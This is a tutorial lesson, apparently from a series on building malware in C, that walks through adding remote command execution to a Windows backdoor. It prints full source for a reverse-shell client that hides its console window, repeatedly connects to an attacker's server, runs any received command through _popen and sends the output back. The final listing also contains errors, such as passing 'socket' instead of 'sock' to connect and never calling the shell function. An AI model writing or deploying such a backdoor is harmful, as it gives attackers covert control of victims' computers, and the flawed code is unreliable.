Create your own malware using C: Executing shell commands

Executing commands client-side

In this lesson we will start working in our “If/Else” statement, inside of our Shell function.

The first thing that we need to do is to compare the “buffer” variable with different commands, for example, let’s suppose the server wants to close the connection with the target, we can do that by specifying something that is short and to the point, so the user of this program can understand it. How are we going to do that? Let’s suppose that when sending the “q” command from the server to the client, the connection will be closed, it is as simple as comparing the value of buffer with other different strings (in this example, q), if the buffer value is equals to “q” the socket will be closed and therefore the connection will be stopped. We can perform that comparison by using a C-language function called “strncmp” (string compare), the string compare function takes three arguments, the first one, is the string we are comparing (for this example, “q”), the second variable would be the variable we are comparing the string with (in our backdoor case is “buffer”) and the third argument is the amount of characters we are comparing, following with the “q” command example, we are only comparing one character, if the value of “buffer” is equals to the first passed argument, the “strncmp” function will return “0”, now what’s let to do, is to put it into an if statement as shown below:

if (strncmp("q", buffer, 1) == 0) {
}

Continuing with our quit example, we will add the following code into the “if” statement:

closesocket(sock);
WSACleanup();
exit(0);

What that portion of code does, is basically close the socket and exit the program. We will manage all of our customised commands by using the previously shown comparisons, by using ifs and elses, but… What if the attacker (server) sends a command which hasn’t been implemented? We will need to create a native command receiver which will execute what the server sent if it doesn’t match any of the comparisons in the ifs, go to the end of your if statement and right after “}” add the following code:

else {
  FILE *fp;
  fp = _popen(buffer, "r");
  while(fgets(container, 1024, fp) != NULL) {
      strcat(total_response, container);
  }
  send(sock, total_response, sizeof(total_response), 0);
  fclose(fp);
}

What does that code does, is creating a file descriptor “*fp”, we execute a program (which is specified by the buffer variable) “fp = _popen(buffer, “r”)”. A program opened by the buffer variable? Yes, remember that the commands the server sends will be stored in the “buffer” variable, therefore, if a command that is not defined by us is entered, it will search in the path for that command, and if exists is executed, for example, if the server sends “firefox” it will look in the path for “firefox.exe” and if found, it’s executed. The second argument taken by “popen” (“r”) means that we will read the command sent by the server and then execute it.

In the line “fp = _popen(buffer, "r")” we executed the command inside the buffer, and we also stored it into “fp”, once we stored the response into the file descriptor, we need to read from it and store the information inside the “container”, and container is the size of 1024 bytes, that’s why we are using while and then “fgets”, we are getting 1024 bytes from the file descriptor inside the container variable, but let’s image that the response is larger than 1024 bytes of memory, we can’t store it into “container”, that’s why we simply paste the first 1024 bytes of memory into the “container” and then we are adding “container” into “total_response”, simply put, we are copying 1024 bytes of memory into “total_response”, 1024 bytes again, and so on.

And finally, we are sending the “total_response” variable to the server, and closing the “fp” file descriptor.

This is how our entire code looks so far:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define bzero(p, size) (void) memset((p), 0, (size))

int sock;

void Shell() {
  char buffer[1024];
  char container[1024];
  char total_response[1024];

  while(1) {
    jump:
    bzero(buffer, sizeof(buffer));
    bzero(container, sizeof(container));
    bzero(total_response, sizeof(total_response));

    recv(sock, buffer, 1024, 0);

    if(strncmp("q", buffer, 1) == 0) {
      closesocket(sock);
      WSACleanup();
      exit(0);
    } else {
      FILE *fp;
      fp = _popen(buffer, "r");
      while(fgets(container, 1024, fp) != NULL) {
        strcat(total_response, container);
      }
      send(sock, total_response, sizeof(total_response), 0);
      fclose(fp);
    }
  }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
  HWND stealth;
  AllocConsole();
  stealth = FindWindowA("ConsoleWindow", NULL);

  ShowWindow(stealth, 0);

  struct sockaddr_in ServAddr;
  unsigned short ServPort;
  char *ServIP;
  WSADATA wsaData;

  ServIP = "192.168.1.1";
  ServPort = 50005;

  if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
    exit(1);
  }

  sock = socket(AF_INET, SOCK_STREAM, 0);

  memset(&ServAddr, 0, sizeof(ServAddr));
  ServAddr.sin_family = AF_INET;
  ServAddr.sin_addr.s_addr = inet_addr(ServIP);
  ServAddr.sin_port = htons(ServPort);

start:
  while (connect(socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr != 0))) {
    Sleep(10);
    goto start;
  }
}